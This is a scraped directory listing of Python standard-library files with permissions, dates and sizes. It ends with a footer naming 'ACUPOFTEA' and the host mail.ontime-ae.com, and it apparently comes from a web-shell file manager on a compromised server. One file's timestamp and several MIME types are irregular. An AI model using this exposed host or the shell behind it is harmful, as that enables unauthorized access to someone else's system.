-rw-r--r--
2018-12-23 09:37:14
types.py
text/plain
8.66 KB
-rw-r--r--
2018-12-23 09:37:14
typing.py
text/x-python
78.39 KB
-rw-r--r--
2018-12-23 09:37:14
uu.py
text/plain
6.6 KB
-rwxr-xr-x
2018-12-23 09:37:14
uuid.py
text/x-c++
23.46 KB
-rw-r--r--
2025-08-26 08:58:55
warnings.py
text/plain
18.05 KB
-rw-r--r--
2018-12-23 09:37:14
wave.py
text/x-python
17.29 KB
-rw-r--r--
2018-12-23 09:37:14
weakref.py
text/x-python
19.99 KB
-rw-r--r--
2018-12-23 09:37:14
webbrowser.py
text/plain
21.26 KB
-rwxr-xr-x
2018-12-23 09:37:14
xdrlib.py
text/x-python
5.77 KB
-rw-r--r--
2018-12-23 09:37:14
zipapp.py
text/x-python
6.99 KB
-rw-r--r--
2018-12-23 09:37:14
zipfile.py
text/plain
78.05 KB
-rw-r--r--
2025-08-26 08:58:55
~ ACUPOFTEA - mail.ontime-ae.com